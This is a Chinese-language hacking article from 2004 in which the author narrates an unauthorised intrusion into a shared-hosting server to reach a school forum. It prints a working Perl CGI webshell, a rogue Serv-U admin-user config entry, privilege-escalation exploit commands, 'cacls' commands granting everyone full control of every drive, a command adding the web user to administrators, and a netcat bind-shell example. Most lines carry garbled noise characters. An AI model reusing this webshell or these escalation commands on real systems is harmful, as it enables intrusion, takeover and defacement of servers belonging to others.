剑走偏锋——灵巧的旁注攻击
4 x M( e9 A @0 k5 |; j/ K本文作者:angel i# B# A* w, b( @8 [% W
文章性质:原创( G9 ^6 Z- T* @
发布日期:2004-11-09 ' M% G- x* i: x3 ?; L P' g/ G% V
注意:
' P" z" b7 D# j+ E3 d( G本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
( ~& L! T! M1 V# a本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。1 A+ {4 d. W" M# [ n4 v$ e
) q6 t' x" v4 o$ o5 u; V/ F2 k
终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
+ z0 B! T* N. M# l
6 l# V, x) i) B L% k8 c 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 . i8 j p/ b/ ~
( _" C, Q% D5 t% S8 M0 Z/ Z, A 不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。 , g) F4 ?- V4 m% I& E' V6 o. C; C
2 _; A) Y+ H6 s B w) h& X
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。 4 D% b9 [; a* Y6 x6 x. X: g
% s) J% v+ S' E- k' H1 c 大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。 3 \. ? C; r- R4 h" Y* w
: u: r s2 x4 P' s6 B# c
没有目的的跳转目录着……
: A5 y( r2 a( |8 ]7 Q# s' Q# V
3 ]. l9 t( U9 P4 D2 ? 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
+ e# g# ?4 K }. F+ [# E8 _( Y1 R3 R# f; a+ K/ s5 A
结束了吗?不,我试着 FTP 一下:
7 T* p1 e& P8 @" R1 R5 v
0 R5 w7 x9 H3 U3 u5 ~Microsoft Windows 2000 [Version 5.00.2195]
3 i3 j9 k6 ^* {3 e6 L(C) 版权所有 1985-2000 Microsoft Corp. , {( H: }& S( G8 P* Q/ y4 r$ _
8 f" ^- f; X9 N. E& z! p' j; d* {
C:\Documents and Settings\Administrator>ftp www.school.com, {- Y5 x1 W; Z# O, L
Connected to www. school.com.
* g+ f6 z+ C7 P2 m" l }9 b220 Welcome to FTP Server... " E/ U0 I b& Y% }2 O8 O
User (www.bjtrq.com:(none)): 8 ~' c# _1 j( s0 A
331 User name okay, need password.
, [9 w# p5 ~, U7 dPassword: + A& U# V" Y( v+ V+ l% Z
530 Not logged in.
$ `# ~$ d; @/ }" Q" bLogin failed.
% F5 q3 t4 _5 ~$ @# Y% mftp> bye
! b9 u x' k# ]8 l221 Goodbye! c) d; n; m& O
* x# F6 z, s+ F; X
6 ]1 _ {; {9 j" W% A' }1 K 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
& Y2 Y% U9 R( k' `; h+ l6 ~, @. ?2 H$ k9 @; L
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 2 H' z& o: v: y; ]; R5 X7 v
, r; f" _( R& }* C; s5 T8 |Application Data
7 r6 T5 [6 m# O' H4 h! u' |! vDocuments
- a/ A% i8 U+ DDRM* A0 z" h. R q
Favorites
0 s" o$ z4 |; I" R; F$ _/ [" STemplates
$ u6 ~9 n! m& @6 C! c0 `2 e「开始」菜单
8 z) a0 O, P9 S桌面
3 h/ o9 d) R. k2 e: X$ ~% a. M
1 T, w; }% d- |; {! A, u/ T7 H+ c8 P. h9 M/ g4 `4 y
马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, _) P6 B/ X" p3 v
" n/ O* S- l( F7 v- E2 W9 UActiveState ActivePerl 5.8
; X7 A0 t/ ` ^1 uAdministrative Tools
5 U2 E' a( [. B- \: RDeerfield.com
1 U# l8 o# \% M7 UDTemp
+ v5 o) A- x4 R1 s# cIPSentry
" w$ ]+ q% p+ ~7 kMBM 5! z0 q( }+ b; H3 L& h* ~
NetMeter- P5 N# [% }8 n! {, r
Network ICE% A; [( f5 G) E
Persits Software AspEmail
( X/ [9 L/ V8 U2 d8 y# kPersits Software AspJpeg% n @4 P; @7 T( x
Serv-U FTP Server
* T a- f( b( ~0 O$ l4 jSymantec Client Security. p& |. {" @. R8 b/ X
Windows 优化大师
( X- l& s$ U, {7 ]6 J" N# H# JWinRAR
: Q, M8 e5 \" W& Q! V3 A* X" T启动
" [3 t' [) D0 I$ v b+ l% C6 Z管理工具
1 W+ } H* Y0 `$ `) d附件+ L5 X! U( A, W: }) e1 x2 M2 }
* O/ `1 `% t3 m7 m# n
7 y( u& @7 H! z: n( x4 ` 呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 7 Z, q E4 E7 N: M0 X9 ~/ c
' D8 E) n0 Y( B0 j# ^8 q
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行: 1 e9 r6 J( a8 z# m% R! M$ K
6 ~+ ]0 O5 K$ s/ B% z
User281=angel|1|0 ! S8 B: x8 o9 B
0 ]0 b' t2 D9 D1 e- |3 d
! l" q# ^2 t4 f& Y 然后加上
; T: |9 N; j% a) n) x" U+ p6 b/ \. D
[USER=angel|1]
. u4 s1 j \* B% e# Q D3 B- a) gPassword=ng98F85379EA68DBF97BAADCA99B69B805: i9 J9 ]$ C' @, ]3 P1 ?
HomeDir=D:\websites
' Y+ b, o+ \4 KRelPaths=1
# G- l; L4 |- w0 WTimeOut=600
) c* R& Y% L9 w; ~2 O+ vMaintenance=System) n, | k' D% W( s' f4 R
Access1=D:\websites|RWAMELCDP
* H. E; }0 j9 @ t/ bSKEYValues=6 m, _5 A' N6 [4 I, B
: [: `3 D. v8 j6 C6 {
& h. y4 }3 S' s! ^7 q- X* ^; c2 I 添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中…… ( T% B/ a5 n$ e$ i& [
0 L% J9 T# O; @; o% i; x9 O
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
, y) L; ~) A2 S! S
, z7 s& e, n3 ^. V3 _& y9 L, Y 不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 ; M2 w0 d! p& j8 B; ^8 k2 ?
/ _. u% ]8 b1 t. t! V4 g3 S
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: 4 T+ D! y' S, N* W3 D
. M @8 n3 G6 X; B$ ]
#!/usr/bin/perl
9 y3 o8 M( n! dbinmode(STDOUT);
; w8 I" ]) F( @ X1 Usyswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
7 M, p9 o0 u: @6 D, z" w6 n2 d$_ = $ENV{QUERY_STRING};
7 R; p" L9 ]: M8 xs/%20/ /ig;5 p0 P; b" ?3 w; k) e. \0 I
s/%2f/\//ig;
6 o$ C6 `" @ `5 K. S t) ~# q$execthis = $_;
; O+ T9 Z! _/ l5 S! ysyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
: k& g% P& O4 Y6 s$ D" {% Fopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";4 a' z _/ ?5 ~ B$ A1 B5 S2 N
system($execthis);' C) W- t! _+ |( S. d( x% C
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
7 P5 |8 _3 V2 E; R! Tclose(STDERR);
! `0 ~: a/ l# M( T! }close(STDOUT);4 q" F) L% O8 x+ Y( v& E A
exit;' A7 c( g: z- Z! v4 M* Q6 M
/ W! n% t6 [8 N e& n
B7 F' N4 p: ?8 I, z
我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! 1 I1 l9 J. B$ M" I3 m( c
1 H9 d2 i* X; {4 J 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
% @$ C) H9 z" Z8 ^5 n% F7 h" H1 A" W) M. r$ v
http://anyhost//cmd.pl?d:\user\bin\su.exe
- X3 t; G% {/ s( u' ]: u* F' t ; F3 B# E& t2 s* v
! t* D$ W; b; K6 [! q 返回:
/ k( d; X7 {0 P
7 {% \3 t4 u7 w; S) iServ-u >3.x Local Exploit by xiaolu + s6 _& o) S. ~. _/ f
2 T- v& G, H3 xUSAGE: serv-u.exe "command" 4 t0 } a2 u* _( r- S7 q
7 M- {' B! e. K% x0 B7 I
Example: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
1 \- W, u# T6 v3 s) e% B
2 R* E6 R: h) }9 Y; k- f
1 y) Q6 ~ e1 ^8 J+ a6 ^5 V1 ` 嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: % D2 h# |0 f1 N, o- H* ]
, g1 Y1 `9 m/ S) P; Yhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
9 Y" v( l }, ~7 {+ b5 d) Y. O/ t- N
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F" 7 { ?& h* `/ k) j' c8 x
6 |( t% B4 K+ I" shttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" ! j' h9 O: ?$ Y* v2 |4 d: g9 H
( M( C; `" S8 m, W( b$ D4 O6 @http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F"
, U: v/ k! ]. f1 `' {9 x' n: Y
2 m. E, H$ M; g7 ]/ N. ?) r; B
' [ z& I' e7 L- [% U, l6 g 返回下面的信息,就表示成功了!!!
, ~! v) h- \( e5 B# c* t T
; W7 u/ h% ?! hServ-u >3.x Local Exploit by xiaolu % o ^% _9 X" k$ J
' W" S/ u% L5 c2 j# P8 p# _3 H<220 Serv-U FTP Server v5.2 for WinSock ready... 0 @% c0 V o/ q; S2 ]/ c5 h
7 D/ \8 O# ?, L6 e6 a+ P4 C6 Q9 N
>USER LocalAdministrator
7 q* f4 j: I+ F+ v. n9 c; k
" \" q- v, n/ ~5 ]9 u( K! h$ F: M<331 User name okay, need password.
- Y, P/ F3 i( j) v0 B6 s# K0 D1 H+ s, ~$ ?) e
****************************************************** - f/ D2 \# X0 H8 m$ k7 K
2 s9 E( G0 |7 }- L5 u% \
>PASS #l@$ak#.lk;0@P 2 D/ j) c: n/ A' V
, o0 L: P3 s' ^
<230 User logged in, proceed. $ E5 F* z; n2 ^/ U5 T$ c
6 G0 R# n; @ ^- v
******************************************************
* b: a# J6 }. h1 Q
- S. n* U1 k, f/ L3 V>SITE MAINTENANCE ; k( C- W" R% s c9 j/ f5 U
& G1 I& J, @3 H( k9 w- {; v4 V
****************************************************** 2 ?/ E& k9 E' q% k- X8 w
4 x+ P1 [, a5 A
[+] Creating New Domain...
2 e! r% [0 s9 |% G0 H5 D* y$ B" c7 Y
<200-DomainID=2 6 f+ [- w; O4 p$ V$ _5 {" z* S
. x6 v0 z( ]7 n+ Y# z
<220 Domain settings saved " _* Y9 P" [& p: v# D" B3 {- N
; [+ T( C# M z5 p! o( ]
******************************************************
+ J1 b) W' ~- |) h$ e& t& l
Z4 n2 c/ T' t2 m3 L6 @0 V[+] Domain xl:2 Created
+ Q: }+ ? {/ E P& a; P% s( h A, Y( \ D4 p
[+] Creating Evil User " H( V5 R: I! i8 q2 O9 r
/ {% V/ Y. z/ X7 d<200-User=xl % f. O! K: }# y+ u- r/ q2 @' m
/ c# ^3 Q1 i; R! {4 `0 b J+ O
200 User settings saved
" a, \0 ?) ]3 m! L4 Y9 I2 l% @( Q/ l0 F4 ? Q4 |1 A. F
******************************************************
- Z0 f' c4 k3 J2 a% t
4 k9 Y, B* u8 q1 Y+ o[+] Now Exploiting...
9 T8 Z. o! E. ?* a, l J! W2 m" _2 Y+ ?$ ?* C
>USER xl 7 B5 ]; p F9 p
1 V# w- M$ b0 w% ?# _5 l
<331 User name okay, need password. 5 M& y% A- G4 D
0 l+ c8 X: C! L3 ]
****************************************************** 0 E8 \6 d L- S' V2 ~+ J) {
4 n. d6 l3 O9 c* Y6 [>PASS 111111 & U& U. J2 v1 W* M' g6 O O+ X& A
. j5 `) e! Z, A$ j<230 User logged in, proceed. % A5 T4 w# m, R/ N/ Q2 S
: k6 g* O! t3 C1 M2 N1 D. [
******************************************************
- o$ s* @& L& u' L& m, t. b; ^3 R6 k% B( q9 X
[+] Now Executing: cacls.exe c: /E /T /G everyone:F
) y- z4 A) i8 j! e) }
) |2 a* L6 k) n# w0 l s<220 Domain deleted / S5 q; p& |7 ?4 s
' n {* G6 S: O) s1 x******************************************************
; j0 W' J) B9 a4 W
0 d5 x- O; f$ d1 T; ^
6 ?5 b) ~6 M0 n# ^# k 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员: 6 b+ O# {5 E6 h! {
3 u% P6 v3 n2 z# z# _- dhttp://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add"
+ J. K S s' q. x ! j1 F. g2 O# ]' p% y8 b) K3 q
( V8 g. B* |* F* x- \
现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 0 q# h. t3 y3 H
6 @5 w" P( }3 A& n# n6 H 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
/ ?# s: R2 J. U4 u' {5 ?( ? : \2 l( Q3 ?" H0 m. C f
; X: t; F; ]: N6 A1 G |